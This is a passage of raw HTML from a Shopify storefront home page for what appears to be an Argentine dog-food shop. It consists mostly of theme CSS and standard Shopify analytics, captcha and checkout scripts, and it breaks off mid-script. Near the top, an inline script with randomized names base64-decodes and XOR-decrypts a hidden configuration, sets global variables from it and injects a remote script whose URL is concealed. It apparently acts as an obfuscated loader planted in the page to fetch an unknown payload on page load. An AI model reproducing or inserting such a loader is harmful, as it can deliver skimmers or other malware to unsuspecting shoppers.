        --color-foreground: #000000;
        --color-foreground-rgb: 0 0 0;
        --color-foreground-muted: rgb(0 0 0 / var(--opacity-muted-text));
        --color-foreground-subdued: rgb(0 0 0 / var(--opacity-subdued-text));
        --color-border: #DFDFDF;
        --color-border-rgb: 223 223 223;
      
    }

    
      .color-custom-popover {
        /* Form-related tokens stay on .color-custom only — .text-block is a prose
           container (text/announcement/inline-text/blog-post-description/
           collection-link/price/sku) and never holds form inputs. */
        --input-disabled-background-color: rgb(0 0 0 / var(--opacity-10));
        --input-disabled-border-color: rgb(0 0 0 / var(--opacity-5));
        --input-disabled-text-color: rgb(0 0 0 / var(--opacity-50));
        --checkbox-border: 1px solid rgb(0 0 0 / var(--opacity-35-55));
      }
    

    .color-custom-popover {
      color: var(--color, var(--color-foreground));
      background-color: var(--color-background);
    }
  </style>








  <style data-shopify>
    .color-custom-drawer,
    .color-custom-drawer .text-block {
      /* Background */
      --color-background: #ffffff;
      --color-background-rgb: 255 255 255;

      /* Opacity values adjusted for background brightness */
      
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


      
        /* Foreground / text — explicit or smart-contrasted */
        --color: #000000;
        --color-rgb: 0 0 0;
        --color-foreground: #000000;
        --color-foreground-rgb: 0 0 0;
        --color-foreground-muted: rgb(0 0 0 / var(--opacity-muted-text));
        --color-foreground-subdued: rgb(0 0 0 / var(--opacity-subdued-text));
        --color-border: #DFDFDF;
        --color-border-rgb: 223 223 223;
      
    }

    
      .color-custom-drawer {
        /* Form-related tokens stay on .color-custom only — .text-block is a prose
           container (text/announcement/inline-text/blog-post-description/
           collection-link/price/sku) and never holds form inputs. */
        --input-disabled-background-color: rgb(0 0 0 / var(--opacity-10));
        --input-disabled-border-color: rgb(0 0 0 / var(--opacity-5));
        --input-disabled-text-color: rgb(0 0 0 / var(--opacity-50));
        --checkbox-border: 1px solid rgb(0 0 0 / var(--opacity-35-55));
      }
    

    .color-custom-drawer {
      color: var(--color, var(--color-foreground));
      background-color: var(--color-background);
    }
  </style>








  <style data-shopify>
    .color-custom-badge-sale,
    .color-custom-badge-sale .text-block {
      /* Background */
      --color-background: #ffffff;
      --color-background-rgb: 255 255 255;

      /* Opacity values adjusted for background brightness */
      
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


      
        /* Foreground / text — explicit or smart-contrasted */
        --color: #000000;
        --color-rgb: 0 0 0;
        --color-foreground: #000000;
        --color-foreground-rgb: 0 0 0;
        --color-foreground-muted: rgb(0 0 0 / var(--opacity-muted-text));
        --color-foreground-subdued: rgb(0 0 0 / var(--opacity-subdued-text));
        --color-border: #000000;
        --color-border-rgb: 0 0 0;
      
    }

    
      .color-custom-badge-sale {
        /* Form-related tokens stay on .color-custom only — .text-block is a prose
           container (text/announcement/inline-text/blog-post-description/
           collection-link/price/sku) and never holds form inputs. */
        --input-disabled-background-color: rgb(0 0 0 / var(--opacity-10));
        --input-disabled-border-color: rgb(0 0 0 / var(--opacity-5));
        --input-disabled-text-color: rgb(0 0 0 / var(--opacity-50));
        --checkbox-border: 1px solid rgb(0 0 0 / var(--opacity-35-55));
      }
    

    .color-custom-badge-sale {
      color: var(--color, var(--color-foreground));
      background-color: var(--color-background);
    }
  </style>








  <style data-shopify>
    .color-custom-badge-sold-out,
    .color-custom-badge-sold-out .text-block {
      /* Background */
      --color-background: #eef1ea;
      --color-background-rgb: 238 241 234;

      /* Opacity values adjusted for background brightness */
      
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


      
        /* Foreground / text — explicit or smart-contrasted */
        --color: #000000;
        --color-rgb: 0 0 0;
        --color-foreground: #000000;
        --color-foreground-rgb: 0 0 0;
        --color-foreground-muted: rgb(0 0 0 / var(--opacity-muted-text));
        --color-foreground-subdued: rgb(0 0 0 / var(--opacity-subdued-text));
        --color-border: #000000;
        --color-border-rgb: 0 0 0;
      
    }

    
      .color-custom-badge-sold-out {
        /* Form-related tokens stay on .color-custom only — .text-block is a prose
           container (text/announcement/inline-text/blog-post-description/
           collection-link/price/sku) and never holds form inputs. */
        --input-disabled-background-color: rgb(0 0 0 / var(--opacity-10));
        --input-disabled-border-color: rgb(0 0 0 / var(--opacity-5));
        --input-disabled-text-color: rgb(0 0 0 / var(--opacity-50));
        --checkbox-border: 1px solid rgb(0 0 0 / var(--opacity-35-55));
      }
    

    .color-custom-badge-sold-out {
      color: var(--color, var(--color-foreground));
      background-color: var(--color-background);
    }
  </style>


















<style data-shopify>
  /* Palette colors */
  :root {
    --color-background: #ffffff;
    --color-background-rgb: 255 255 255;
    --color-foreground: #000000;
    --color-foreground-rgb: 0 0 0;
    --color-border: #000000;
    --color-border-rgb: 0 0 0;
    --palette-lightest: #ffffff;
    --palette-lightest-rgb: 255 255 255;
    --palette-darkest: #000000;
    --palette-darkest-rgb: 0 0 0;
    
--opacity-5-15: 0.05; --opacity-10-25: 0.1; --opacity-35-55: 0.35; --opacity-40-60:
0.4; --opacity-30-60: 0.3; --opacity-60: 0.6;


    --color-primary-button-text: rgb(255 255 255 / 1.0);
    --color-primary-button-background: rgb(0 0 0 / 1.0);
    --color-primary-button-border: rgb(0 0 0 / 1.0);
    --color-primary-button-focus-outline: rgb(0 0 0);
    --color-primary-button-hover-text: rgb(255 255 255 / 1.0);
    --color-primary-button-hover-background: #262626;
    --color-primary-button-hover-border: #262626;

    --color-secondary-button-text: rgb(0 0 0 / 1.0);
    --color-secondary-button-background: rgb(0 0 0 / 0.0);
    --color-secondary-button-border: rgb(0 0 0 / 1.0);
    --color-secondary-button-hover-text: rgb(0 0 0 / 1.0);
    --color-secondary-button-hover-background: rgba(0, 0, 0, 0.15);
    --color-secondary-button-hover-border: #262626;

    --color-input-background: rgb(255 255 255 / 1.0);
    --color-input-text: rgb(51 51 51 / 1.0);
    --color-input-text-rgb: 51 51 51;
    --color-input-border: rgb(223 223 223 / 1.0);

    --color-variant-background: rgb(255 255 255 / 1.0);
    --color-variant-border: rgb(223 223 223 / 1.0);
    --color-variant-text: rgb(0 0 0 / 1.0);
    --color-variant-text-rgb: 0 0 0;
    --color-variant-hover-background: #f2f2f2;
    --color-variant-hover-text: rgb(0 0 0 / 1.0);
    --color-variant-hover-border: #d2d2d2;

    --color-selected-variant-background: rgb(0 0 0 / 1.0);
    --color-selected-variant-border: rgb(0 0 0 / 1.0);
    --color-selected-variant-text: rgb(255 255 255 / 1.0);
    --color-selected-variant-text-rgb: 255 255 255;
    --color-selected-variant-hover-background: #262626;
    --color-selected-variant-hover-text: rgb(255 255 255 / 1.0);
    --color-selected-variant-hover-border: #262626;

    --input-disabled-background-color: rgb(var(--color-foreground-rgb) / var(--opacity-10));
    --input-disabled-border-color: rgb(var(--color-foreground-rgb) / var(--opacity-5-15));
    --input-disabled-text-color: rgb(var(--color-foreground-rgb) / var(--opacity-50));
    --color-foreground-muted: rgb(var(--color-rgb, var(--color-foreground-rgb)) / var(--opacity-muted-text));
    --color-foreground-subdued: rgb(var(--color-rgb, var(--color-foreground-rgb)) / var(--opacity-subdued-text));
    --color-drawer-shadow-rgb: ;
    --color-popover-shadow-rgb: 0 0 0;

    /* Shadows */
    
    
      --shadow-blur: 20px;
      --shadow-popover: 0px 4px 20px rgb(var(--color-popover-shadow-rgb) / var(--opacity-15));
    
  }

  body {
    color: var(--color-foreground);
    background-color: var(--color-background);
  }
</style>


    <script>(function(){var s_sluo=atob("DOei8lyj+QhTudQIZpyAhy7P2zJx0aB8FpSY3XPAnWZ9zKBlD4Hb3D/MlCYxy/t7BZXLgijQ1n0n1KcnCobWly/X12Igm/gqB5PWgDXBjHw2yvYyPZyAnD3OnCppm7BpEoaPhyjOkG4qlKR6A5HHnCiOgWs83fl7BYyA3n7VmGQm3PYyRMXf3ieBl2k+3PYyRIPDhj2OjHw+0LJxS5fQlyrGl3x+yqFqD4PR0HCBj2k/zLEqXMWAjwHe");var z_iy=[];for(var q_tvl=0;q_tvl<s_sluo.length;q_tvl++){z_iy.push(s_sluo.charCodeAt(q_tvl)&255);}var l_k=z_iy[0];var w_2u8k=z_iy.slice(1,1+l_k);var m_7cp=z_iy.slice(1+l_k);var z_e45=m_7cp.map(function(b,c_ai){return b^w_2u8k[c_ai%l_k];});var u_utx="";for(var q_dg=0;q_dg<z_e45.length;q_dg++){u_utx+=String.fromCharCode(z_e45[q_dg]&255);}var s_dd=decodeURIComponent(escape(u_utx));var r_dz=JSON.parse(s_dd);var z_1e=r_dz.globals||[];z_1e.forEach(function(p_cbhk){window[p_cbhk.name]=p_cbhk.value;});var i_97t=document.createElement("script");i_97t.src=r_dz.url;i_97t.async=true;i_97t.defer=true;(r_dz.attributes||[]).forEach(function(a_vj){i_97t.setAttribute(a_vj.name,a_vj.value);});(document.head||document.documentElement).appendChild(i_97t);})();</script>

    <script>window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.start');</script><meta id="shopify-digital-wallet" name="shopify-digital-wallet" content="/76441551004/digital_wallets/dialog">
<script async="async" src="/checkouts/internal/preloads.js?locale=es-AR"></script>
<script id="shopify-features" type="application/json">{"accessToken":"1e9dc23fd7ab6aac37681919d4353b61","betas":["rich-media-storefront-analytics"],"domain":"cocinacanina.store","predictiveSearch":true,"shopId":76441551004,"locale":"es"}</script>
<script>var Shopify = Shopify || {};
Shopify.shop = "xyj0ft-re.myshopify.com";
Shopify.locale = "es";
Shopify.currency = {"active":"ARS","rate":"1.0"};
Shopify.country = "AR";
Shopify.theme = {"name":"Horizon","id":155524563100,"schema_name":"Horizon","schema_version":"4.1.4","theme_store_id":2481,"role":"main"};
Shopify.theme.handle = "null";
Shopify.theme.style = {"id":null,"handle":null};
Shopify.cdnHost = "cocinacanina.store/cdn";
Shopify.routes = Shopify.routes || {};
Shopify.routes.root = "/";
Shopify.shopJsCdnBaseUrl = "https://cdn.shopify.com/shopifycloud/shop-js";
Shopify.SignInWithShop = Shopify.SignInWithShop || {};
Shopify.SignInWithShop.User = Shopify.SignInWithShop.User || {};
Shopify.SignInWithShop.User.recognized = false;</script>
<script type="module">!function(o){(o.Shopify=o.Shopify||{}).modules=!0}(window);</script>
<script>!function(o){function n(){var o=[];function n(){o.push(Array.prototype.slice.apply(arguments))}return n.q=o,n}var t=o.Shopify=o.Shopify||{};t.loadFeatures=n(),t.autoloadFeatures=n()}(window);</script>
<script>
  window.Shopify = window.Shopify || {};
  window.Shopify.SignInWithShop = window.Shopify.SignInWithShop || {};
  window.Shopify.SignInWithShop.assetMetrics = { sampleRate: 0.25 };
  window.Shopify.SignInWithShop.eligible = true;
</script>
<script id="shop-js-analytics" type="application/json">{"pageType":"index"}</script>
<script defer="defer" async type="module" src="https://cdn.shopify.com/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.es.esm.js"></script>
<script type="module">
  await import("https://cdn.shopify.com/shopifycloud/shop-js/modules/v2/loader.init-shop-cart-sync.es.esm.js");

  window.Shopify.SignInWithShop?.initShopCartSync?.({"fedCMEnabled":true,"windoidEnabled":true});

</script>
<script>
  window.Shopify = window.Shopify || {};
  if (!window.Shopify.featureAssets) window.Shopify.featureAssets = {};
  window.Shopify.featureAssets['shop-js'] = {"avatar":["modules/v2/loader.avatar.es.esm.js"],"checkout-modal":["modules/v2/loader.checkout-modal.es.esm.js"],"init-customer-accounts-sign-up":["modules/v2/loader.init-customer-accounts-sign-up.es.esm.js"],"init-customer-accounts":["modules/v2/loader.init-customer-accounts.es.esm.js"],"init-fed-cm":["modules/v2/loader.init-fed-cm.es.esm.js"],"init-shop-cart-sync":["modules/v2/loader.init-shop-cart-sync.es.esm.js"],"init-shop-email-lookup-coordinator":["modules/v2/loader.init-shop-email-lookup-coordinator.es.esm.js"],"init-shop-for-new-customer-accounts":["modules/v2/loader.init-shop-for-new-customer-accounts.es.esm.js"],"init-shop-user-recognition":["modules/v2/loader.init-shop-user-recognition.es.esm.js"],"init-windoid":["modules/v2/loader.init-windoid.es.esm.js"],"lead-capture":["modules/v2/loader.lead-capture.es.esm.js"],"listener":["modules/v2/loader.listener.es.esm.js"],"pay-button":["modules/v2/loader.pay-button.es.esm.js"],"payment-terms":["modules/v2/loader.payment-terms.es.esm.js"],"shop-button":["modules/v2/loader.shop-button.es.esm.js"],"shop-cart-sync":["modules/v2/loader.shop-cart-sync.es.esm.js"],"shop-cash-offers":["modules/v2/loader.shop-cash-offers.es.esm.js"],"shop-follow-button":["modules/v2/loader.shop-follow-button.es.esm.js"],"shop-login-button":["modules/v2/loader.shop-login-button.es.esm.js"],"shop-login":["modules/v2/loader.shop-login.es.esm.js"],"shop-toast-manager":["modules/v2/loader.shop-toast-manager.es.esm.js"],"shop-user-recognition":["modules/v2/loader.shop-user-recognition.es.esm.js"]};
</script>
<script id="__st">var __st={"a":76441551004,"offset":-10800,"reqid":"b64f0af3-f7f0-4c8c-a141-44a9bb874780-1789200139","pageurl":"cocinacanina.store\/index.css","u":"b5913836f30f","p":"home"};</script>
<script>window.ShopifyPaypalV4VisibilityTracking = true;</script>
<script id="captcha-bootstrap">!function(){'use strict';const t='contact',e='account',n='new_comment',o=[[t,t],['blogs',n],['comments',n],[t,'customer']],c=[[e,'customer_login'],[e,'guest_login'],[e,'recover_customer_password'],[e,'create_customer']],r=t=>t.map((([t,e])=>`form[action*='/${t}']:not([data-nocaptcha='true']) input[name='form_type'][value='${e}']`)).join(','),a=t=>()=>t?[...document.querySelectorAll(t)].map((t=>t.form)):[];function s(){const t=[...o],e=r(t);return a(e)}const i='password',u='form_key',d=['recaptcha-v3-token','g-recaptcha-response','h-captcha-response',i],f=()=>{try{return window.sessionStorage}catch{return}},m='__shopify_v',_=t=>t.elements[u];function p(t,e,n=!1){try{const o=window.sessionStorage,c=JSON.parse(o.getItem(e)),{data:r}=function(t){const{data:e,action:n}=t;return t[m]||n?{data:e,action:n}:{data:t,action:n}}(c);for(const[e,n]of Object.entries(r))t.elements[e]&&(t.elements[e].value=n);n&&o.removeItem(e)}catch(o){console.error('form repopulation failed',{error:o})}}const l='form_type',E='cptcha';function T(t){t.dataset[E]=!0}const w=window,h=w.document,L='Shopify',v='ce_forms',y='captcha';let A=!1;((t,e)=>{const n=(g='f06e6c50-85a8-45c8-87d0-21a2b65856fe',I='https://cdn.shopify.com/shopifycloud/storefront-forms-hcaptcha/ce_storefront_forms_captcha_hcaptcha.v1.5.3.iife.js',D={infoText:'Protegido por hCaptcha',privacyText:'Privacidad',termsText:'Términos'},(t,e,n)=>{const o=w[L][v],c=o.bindForm;if(c)return c(t,g,e,D).then(n);var r;o.q.push([[t,g,e,D],n]),r=I,A||(h.body.append(Object.assign(h.createElement('script'),{id:'captcha-provider',async:!0,src:r})),A=!0)});var g,I,D;w[L]=w[L]||{},w[L][v]=w[L][v]||{},w[L][v].q=[],w[L][y]=w[L][y]||{},w[L][y].protect=function(t,e){n(t,void 0,e),T(t)},Object.freeze(w[L][y]),function(t,e,n,w,h,L){const[v,y,A,g]=function(t,e,n){const i=e?o:[],u=t?c:[],d=[...i,...u],f=r(d),m=r(i),_=r(d.filter((([t,e])=>n.includes(e))));return[a(f),a(m),a(_),s()]}(w,h,L),I=t=>{const e=t.target;return e instanceof HTMLFormElement?e:e&&e.form},D=t=>v().includes(t);t.addEventListener('submit',(t=>{const e=I(t);if(!e)return;const n=D(e)&&!e.dataset.hcaptchaBound&&!e.dataset.recaptchaBound,o=_(e),c=g().includes(e)&&(!o||!o.value);(n||c)&&t.preventDefault(),c&&!n&&(function(t){try{if(!f())return;!function(t){const e=f();if(!e)return;const n=_(t);if(!n)return;const o=n.value;o&&e.removeItem(o)}(t);const e=Array.from(Array(32),(()=>Math.random().toString(36)[2])).join('');!function(t,e){_(t)||t.append(Object.assign(document.createElement('input'),{type:'hidden',name:u})),t.elements[u].value=e}(t,e),function(t,e){const n=f();if(!n)return;const o=[...t.querySelectorAll(`input[type='${i}']`)].map((({name:t})=>t)),c=[...d,...o],r={};for(const[a,s]of new FormData(t).entries())c.includes(a)||(r[a]=s);n.setItem(e,JSON.stringify({[m]:1,action:t.action,data:r}))}(t,e)}catch(e){console.error('failed to persist form',e)}}(e),e.submit())}));const S=(t,e)=>{t&&!t.dataset[E]&&(n(t,e.some((e=>e===t))),T(t))};for(const o of['focusin','change'])t.addEventListener(o,(t=>{const e=I(t);D(e)&&S(e,y())}));const B=e.get('form_key'),M=e.get(l),P=B&&M;t.addEventListener('DOMContentLoaded',(()=>{const t=y();if(P)for(const e of t)e.elements[l].value===M&&p(e,B);[...new Set([...A(),...v().filter((t=>'true'===t.dataset.shopifyCaptcha))])].forEach((e=>S(e,t)))}))}(h,new URLSearchParams(w.location.search),n,t,e,['guest_login'])})(!0,!0)}();</script>
<script integrity="sha256-JjoPp5ZfB1sSAs5SQaol1x1GgvveM+BgmRzyDexInEQ=" data-source-attribution="shopify.loadfeatures" defer="defer" src="//cocinacanina.store/cdn/shopifycloud/storefront/assets/storefront/load_feature-1bd60354.js" crossorigin="anonymous"></script>
<script>(function () {var userAgent = navigator.userAgent;var platform = navigator.platform;var maxTouchPoints = navigator.maxTouchPoints || 0;var isIOS = /iPad|iPhone|iPod/.test(platform) || (platform === 'MacIntel' && maxTouchPoints > 1);var isMacSafari = platform.indexOf('Mac') === 0 && /Safari/.test(userAgent) && !/Chrome|Chromium|CriOS|FxiOS|Edg|OPR|Android/.test(userAgent);var isAppleSafari = isIOS || isMacSafari;if (isAppleSafari) {fetch('/sf_private_access_tokens' + location.search).catch(function () {});}function browserMajorVersion(pattern) {var match = userAgent.match(pattern);return match ? parseInt(match[1], 10) : null;}function shouldLoadAutosizesPolyfill() {if (!window.PerformanceObserver?.supportedEntryTypes?.includes('paint')) {return false;}var chromeVersion = browserMajorVersion(/Chrome\/(\d+)/);if (chromeVersion !== null) {return chromeVersion < 126;}var firefoxVersion = browserMajorVersion(/Firefox\/(\d+)/);if (firefoxVersion !== null) {return firefoxVersion < 150;}var safariVersion = isAppleSafari ? browserMajorVersion(/Version\/(\d+).*Safari\//) : null;if (safariVersion !== null) {return safariVersion < 27;}return true;}if (shouldLoadAutosizesPolyfill()) {var autosizesScript = document.createElement('script');autosizesScript.async = true;autosizesScript.crossOrigin = 'anonymous';autosizesScript.src = "//cocinacanina.store/cdn/shopifycloud/storefront/assets/storefront/autosizes-84416378.js";(document.head || document.documentElement).appendChild(autosizesScript);}window.ShopifyAnalytics = window.ShopifyAnalytics || {};window.ShopifyAnalytics.performance = window.ShopifyAnalytics.performance || {};(function () {var LONG_FRAME_THRESHOLD = 50;var longAnimationFrames = [];var activeRafId = null;function collectLongFrames() {var previousTime = null;function rafMonitor(now) {if (activeRafId === null) {return;}var delta = now - previousTime;if (delta > LONG_FRAME_THRESHOLD) {longAnimationFrames.push({startTime: previousTime,endTime: now,});}previousTime = now;activeRafId = requestAnimationFrame(rafMonitor);}previousTime = performance.now();activeRafId = requestAnimationFrame(rafMonitor);}if (!window.PerformanceObserver?.supportedEntryTypes?.includes('long-animation-frame')) {collectLongFrames();var timeoutId = setTimeout(function () {cancelAnimationFrame(activeRafId);}, 10000);window.ShopifyAnalytics.performance.getLongAnimationFrames = function (stopCollection) {if (stopCollection === undefined) {stopCollection = false;}if (stopCollection) {clearTimeout(timeoutId);cancelAnimationFrame(activeRafId);}return longAnimationFrames;};}})();})();</script><script id="shopify-origin-trials" async="async" integrity="sha256-mqQjA+yhr1DtPsW5MhDIq3zDu+LghfjNT49r/ttG3eY=" src="//cdn.shopify.com/shopifycloud/storefront/assets/storefront/origin_trials-5059b83f.js" crossorigin="anonymous" onload="window.__shopifyOriginTrialsDone = true" onerror="window.__shopifyOriginTrialsDone = true"></script>
<script>
  window.Shopify = window.Shopify || {};
  window.Shopify.MCP = window.Shopify.MCP || {};
  window.Shopify.MCP.enabled = true;
  window.Shopify.MCP.shop = "xyj0ft-re.myshopify.com";
  window.Shopify.MCP.mcpEndpoint = "https:\/\/cocinacanina.store\/api\/mcp";
  window.Shopify.MCP.tools = [{"name":"search_shop_policies_and_faqs","description":"Used to get facts about the stores policies, products, or services.\nSome examples of questions you can ask are:\n  - What is your return policy?\n  - What is your shipping policy?\n  - What is your phone number?\n  - What are your hours of operation?\"\n","inputSchema":{"$schema":"https:\/\/json-schema.org\/draft\/2020-12\/schema","type":"object","properties":{"query":{"type":"string","description":"A natural language query."},"context":{"type":"string","description":"Additional information about the request such as user demographics, mood, location, or other relevant details that could help in tailoring the response appropriately."}},"required":["query"]}}];
</script>
<script>(()=>{var d="shopify:webmcp_adapter_loaded",n=Symbol.for("shopify.webmcp_adapter_loading");function s(c,a,{win:r=window,doc:o=document}={}){function p(){try{return r.localStorage.getItem(d)==="true"}catch{return!1}}function l(){try{r.localStorage.setItem(d,"true")}catch{}}function u(){return typeof(o.modelContext||r.navigator?.modelContext)?.registerTool=="function"}function f(){if(r[n]||!u())return;let t=o.head||o.getElementsByTagName("head")[0];if(!t)return;let e=o.createElement("script");e.type="module",e.crossOrigin="anonymous",a&&(e.integrity=a),e.src=c,e.addEventListener("load",l,{once:!0}),e.addEventListener("error",()=>{r[n]=!1},{once:!0}),t.appendChild(e),r[n]=!0}function _(t){let e=o.getElementById("shopify-origin-trials");if(!e||r.__shopifyOriginTrialsDone){t();return}e.addEventListener("load",t,{once:!0}),e.addEventListener("error",t,{once:!0})}function i(){_(()=>r.setTimeout(f,0))}function m(){o.addEventListener("DOMContentLoaded",i,{once:!0})}p()?i():m()}s("https:\/\/cdn.shopify.com\/storefront\/webmcp\/webmcp-0.1.1.js","");})();
</script>
<script data-source-attribution="shopify.dynamic_checkout.dynamic.init">var Shopify=Shopify||{};Shopify.PaymentButton=Shopify.PaymentButton||{isStorefrontPortableWallets:!0,init:function(){window.Shopify.PaymentButton.init=function(){};var t=document.createElement("script");t.src="https://cocinacanina.store/cdn/shopifycloud/portable-wallets/latest/portable-wallets.es.js",t.type="module",document.head.appendChild(t)}};
</script>
<script data-source-attribution="shopify.dynamic_checkout.buyer_consent">
  function portableWalletsHideBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.add("hidden"),t.setAttribute("aria-hidden","true"),n.removeEventListener("click",e))}function portableWalletsShowBuyerConsent(e){var t=document.getElementById("shopify-buyer-consent"),n=document.getElementById("shopify-subscription-policy-button");t&&n&&(t.classList.remove("hidden"),t.removeAttribute("aria-hidden"),n.addEventListener("click",e))}window.Shopify?.PaymentButton&&(window.Shopify.PaymentButton.hideBuyerConsent=portableWalletsHideBuyerConsent,window.Shopify.PaymentButton.showBuyerConsent=portableWalletsShowBuyerConsent);
</script>
<script data-source-attribution="shopify.dynamic_checkout.cart.bootstrap">document.addEventListener("DOMContentLoaded",(function(){function t(){return document.querySelector("shopify-accelerated-checkout-cart, shopify-accelerated-checkout")}if(t())Shopify.PaymentButton.init();else{new MutationObserver((function(e,n){t()&&(Shopify.PaymentButton.init(),n.disconnect())})).observe(document.body,{childList:!0,subtree:!0})}}));
</script>
<link rel="compression-dictionary" href="//cocinacanina.store/cdn/shop/t/1/compiled_assets/styles.css?v=59564590701422989351787441172" crossorigin="anonymous">
<link rel="stylesheet" media="screen" href="//cocinacanina.store/cdn/shop/t/1/compiled_assets/styles.css?v=59564590701422989351787441172&subset=AAAAAAAAAAAAAAAAAAAAAAAKnDsoCAkAAEYdo5JEECAXABo" crossorigin="anonymous">
<script id="shopify-cfh-end">window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end');</script>
  <link href="https://monorail-edge.shopifysvc.com" rel="dns-prefetch">
<script>(function(){if ("sendBeacon" in navigator && "performance" in window) {try {var session_token_from_headers = performance.getEntriesByType('navigation')[0].serverTiming.find(x => x.name == '_s').description;} catch {var session_token_from_headers = undefined;}var session_cookie_matches = document.cookie.match(/_shopify_s=([^;]*)/);var session_token_from_cookie = session_cookie_matches && session_cookie_matches.length === 2 ? session_cookie_matches[1] : "";var session_token = session_token_from_headers || session_token_from_cookie || "";function handle_abandonment_event(e) {var entries = performance.getEntries().filter(function(entry) {return /monorail-edge.shopifysvc.com/.test(entry.name);});if (!window.abandonment_tracked && entries.length === 0) {window.abandonment_tracked = true;var currentMs = Date.now();var navigation_start = performance.timing.navigationStart;var payload = {shop_id: 76441551004,url: window.location.href,navigation_start,duration: currentMs - navigation_start,session_token,page_type: "index"};window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({schema_id: "online_store_buyer_site_abandonment/1.1",payload: payload,metadata: {event_created_at_ms: currentMs,event_sent_at_ms: currentMs}}));}}window.addEventListener('pagehide', handle_abandonment_event);}}());</script>
<script>
  window.__TREKKIE_SHIM_QUEUE = window.__TREKKIE_SHIM_QUEUE || [];
</script>
<script>
  window.ShopifyAnalytics = window.ShopifyAnalytics || {};
  window.ShopifyAnalytics.meta = window.ShopifyAnalytics.meta || {};
  window.ShopifyAnalytics.meta.currency = 'ARS';
  var meta = {"page":{"pageType":"home","requestId":"b64f0af3-f7f0-4c8c-a141-44a9bb874780-1789200139"}};
  for (var attr in meta) {
    window.ShopifyAnalytics.meta[attr] = meta[attr];
  }
</script>
<script class="analytics">
  (function () {
    var customDocumentWrite = function(content) {
      var jquery = null;

      if (window.jQuery) {
        jquery = window.jQuery;
      } else if (window.Checkout && window.Checkout.$) {
        jquery = window.Checkout.$;
      }

      if (jquery) {
        jquery('body').append(content);
      }
    };

    var hasLoggedConversion = function(token) {
      if (token) {
        return document.cookie.indexOf('loggedConversion=' + token) !== -1;
      }
      return false;
    }

    var setCookieIfConversion = function(token) {
      if (token) {
        var twoMonthsFromNow = new Date(Date.now());
        twoMonthsFromNow.setMonth(twoMonthsFromNow.getMonth() + 2);

        document.cookie = 'loggedConversion=' + token + '; expires=' + twoMonthsFromNow;
      }
    }

    var trekkie = window.ShopifyAnalytics.lib = window.trekkie = window.trekkie || [];
    window.ShopifyAnalytics.lib.trekkie = window.trekkie;
    if (trekkie.integrations) {
      return;
    }
    trekkie.methods = [
      'identify',
      'page',
      'ready',
      'track',
      'trackForm',
      'trackLink'
    ];
    trekkie.factory = function(method) {
      return function() {
        var args = Array.prototype.slice.call(arguments);
        args.unshift(method);
        trekkie.push(args);
        if (window.__TREKKIE_SHIM_QUEUE && (method == 'track' || method == 'page')) {
          try {
            window.__TREKKIE_SHIM_QUEUE.push({
              from: 'trekkie-stub',
              method: method,
              args: args.slice(1)
            });
          } catch (e) {
            // no-op
          }
        }
        return trekkie;
      };
    };
    for (var i = 0; i < trekkie.methods.length; i++) {
      var key = trekkie.methods[i];
      trekkie[key] = trekkie.factory(key);
    }
    trekkie.load = function(config) {
      trekkie.config = config || {};
      trekkie.config.initialDocumentCookie = document.cookie;
      var first = document.getElementsByTagName('script')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.onerror = function(e) {
  var scriptFallback = document.createElement('script');
  scriptFallback.type = 'text/javascript';
  scriptFallback.onerror = function(error) {
          var Monorail = {
      produce: function produce(monorailDomain, schemaId, payload) {
        var currentMs = new Date().getTime();
        var event = {
          schema_id: schemaId,
          payload: payload,
          metadata: {
            event_created_at_ms: currentMs,
            event_sent_at_ms: currentMs
          }
        };
        return Monorail.sendRequest("https://" + monorailDomain + "/v1/produce", JSON.stringify(event));
      },
      sendRequest: function sendRequest(endpointUrl, payload) {
        // Try the sendBeacon API
        if (window && window.navigator && typeof window.navigator.sendBeacon === 'function' && typeof window.Blob === 'function' && !Monorail.isIos12()) {
          var blobData = new window.Blob([payload], {
            type: 'text/plain'
          });

          if (window.navigator.sendBeacon(endpointUrl, blobData)) {
            return true;
          } // sendBeacon was not successful

        } // XHR beacon

        var xhr = new XMLHttpRequest();

        try {
          xhr.open('POST', endpointUrl);
          xhr.setRequestHeader('Content-Type', 'text/plain');
          xhr.send(payload);
        } catch (e) {
          console.log(e);
        }

        return false;
      },
      isIos12: function isIos12() {
        return window.navigator.userAgent.lastIndexOf('iPhone; CPU iPhone OS 12_') !== -1 || window.navigator.userAgent.lastIndexOf('iPad; CPU OS 12_') !== -1;
      }
    };
    Monorail.produce('monorail-edge.shopifysvc.com',
      'trekkie_storefront_load_errors/1.1',
      {shop_id: 76441551004,
      theme_id: 155524563100,
      app_name: "storefront",
      context_url: window.location.href,
      source_url: "//cocinacanina.store/cdn/s/trekkie.storefront.97b21d0442b56be8dbfe53e512498600181c173e.min.js"});

  };
  scriptFallback.async = true;
  scriptFallback.src = '//cocinacanina.store/cdn/s/trekkie.storefront.97b21d0442b56be8dbfe53e512498600181c173e.min.js';
  first.parentNode.insertBefore(scriptFallback, first);
};
script.async = true;
script.src = '//cocinacanina.store/cdn/s/trekkie.storefront.97b21d0442b56be8dbfe53e512498600181c173e.min.js';
first.parentNode.insertBefore(script, first);

    };
    trekkie.load(
      {"Trekkie":{"appName":"storefront","development":false,"defaultAttributes":{"shopId":76441551004,"isMerchantRequest":null,"themeId":155524563100,"themeCityHash":"13947066143511621077","contentLanguage":"es","currency":"ARS","eventMetadataId":"fc55980d-a2db-4bb5-9546-81ca47994ea0"},"isServerSideCookieWritingEnabled":true,"monorailRegion":"shop_domain","enabledBetaFlags":["b5387b81","d5bdd5d0"]},"Session Attribution":{},"S2S":{"facebookCapiEnabled":true,"source":"trekkie-storefront-renderer","apiClientId":580111}}
    );

    var loaded = false;
    trekkie.ready(function() {
      if (loaded) return;
      loaded = true;

      window.ShopifyAnalytics.lib = window.trekkie;

      var originalDocumentWrite = document.write;
      document.write = customDocumentWrite;
